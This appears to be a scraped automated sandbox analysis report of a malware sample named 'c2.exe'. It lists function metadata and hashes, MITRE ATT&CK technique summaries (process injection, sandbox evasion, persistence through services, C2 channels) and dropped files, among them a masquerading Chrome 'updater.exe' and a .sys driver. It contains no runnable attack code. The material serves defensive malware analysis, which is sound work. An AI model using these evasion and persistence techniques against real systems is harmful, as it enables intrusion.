Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: a6e05d0719d9a226eb1572a5a872eae5caac3b2fed66a295f5c7032a268e0805
Instruction ID: 8d6308b0a2ad8cada52f579dcfd85a09314276aeb4e4638d50abcf555864c8be
Opcode Fuzzy Hash: a6e05d0719d9a226eb1572a5a872eae5caac3b2fed66a295f5c7032a268e0805
Instruction Fuzzy Hash: 15F04427828F4482D2119F58E4002AFF770FF9A755F605726EBC926564DF2DD502C714

Function 00007FF7780132AB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77801330A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7780132FD
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF7780132AB

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: c9ed7c2e3d482160450769c1ff0e72cefc97edc8508946716ac543fe13f5e388
Instruction ID: fbd30f60990c56cab345db7508cf3a2b5d58b5a4942409cefaa748770c9cc93d
Opcode Fuzzy Hash: c9ed7c2e3d482160450769c1ff0e72cefc97edc8508946716ac543fe13f5e388
Instruction Fuzzy Hash: B2F04F27828F8482D2119F18E4002AFF770FF9A799F605726EBC9265A4EF2DE502C704

Function 00007FF778013299 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77801330A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7780132FD
Partial loss of significance (PLOSS), xrefs: 00007FF778013299

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 3199eb5275f02423fcae51ffbe391b0cbbf840796bd1e3838004dfcebcb03dfa
Instruction ID: 4407c5e11a9b4781360f17395376c225d29bc11d6c9135b4f344c095d0c130d7
Opcode Fuzzy Hash: 3199eb5275f02423fcae51ffbe391b0cbbf840796bd1e3838004dfcebcb03dfa
Instruction Fuzzy Hash: 13F04F27828F8482D2119F18E4002AFF770FF9A799F605726EBC9265A4EF2DE502C714

Function 00007FF7780132A2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77801330A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7780132FD
Total loss of significance (TLOSS), xrefs: 00007FF7780132A2

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: d235f4f20999ea0141b5c37e71e27d7b56d2e9f6ab22c2758905faa18072636f
Instruction ID: 003e8b1402837f60a5815f50edc164a4e7da54277b42a5aaa1d1a06c577b102e
Opcode Fuzzy Hash: d235f4f20999ea0141b5c37e71e27d7b56d2e9f6ab22c2758905faa18072636f
Instruction Fuzzy Hash: 7AF06227828F8482D2119F18E4002AFF770FF9E799F605726EBC9265A4EF2DE502C714

Function 00007FF7780132B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77801330A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7780132FD
Argument singularity (SIGN), xrefs: 00007FF7780132B4

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: dea26e7da8c6239b8ab8b855cccdcf6a6d5c3b914d4e9b93f95941bea0719a5a
Instruction ID: 289a9f3e5b8fa69f67f104756241ccda58c83f4f388b298dfc7c5cd85aa4be4e
Opcode Fuzzy Hash: dea26e7da8c6239b8ab8b855cccdcf6a6d5c3b914d4e9b93f95941bea0719a5a
Instruction Fuzzy Hash: 3EF06D27818F8482D2019F18E4002AFF770FF9E799F605726EBC8266A4EF2DD502C704

Analysis Process: updater.exePID: 7928, Parent PID: 1044COMMON

Executed Functions

Function 00007FF6028112FD Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1710894177.00007FF602811000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF602810000, based on PE: true

Associated: 00000018.00000002.1710867337.00007FF602810000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1710920737.00007FF602816000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1711013736.00007FF60281E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1711411987.00007FF602822000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1712285483.00007FF602D85000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1712322067.00007FF602D87000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1712346842.00007FF602D8B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1712369317.00007FF602D90000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.1712394094.00007FF602D91000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff602810000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beee64b2d3da2f3eb274e92f3c95c986217bc7b129019d4d5950de2641e42d74
Instruction ID: 6a7c32b4ee99d95e1c8dc8cb70a9b853a9799724de73b284ed21fa762e9c398f
Opcode Fuzzy Hash: beee64b2d3da2f3eb274e92f3c95c986217bc7b129019d4d5950de2641e42d74
Instruction Fuzzy Hash: 3BB09264A2420584E3002B1198412682A206F14B04FA02120C50C82396CEEC94814720

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report c2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\Users\user\AppData\Local\Temp\wjwbvsfqhrdh.xml

C:\Windows\Temp\lnobvhjdatqu.tmp

C:\Windows\Temp\ppefirylicdf.sys

C:\Windows\Temp\wjwbvsfqhrdh.xml

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
c2.exe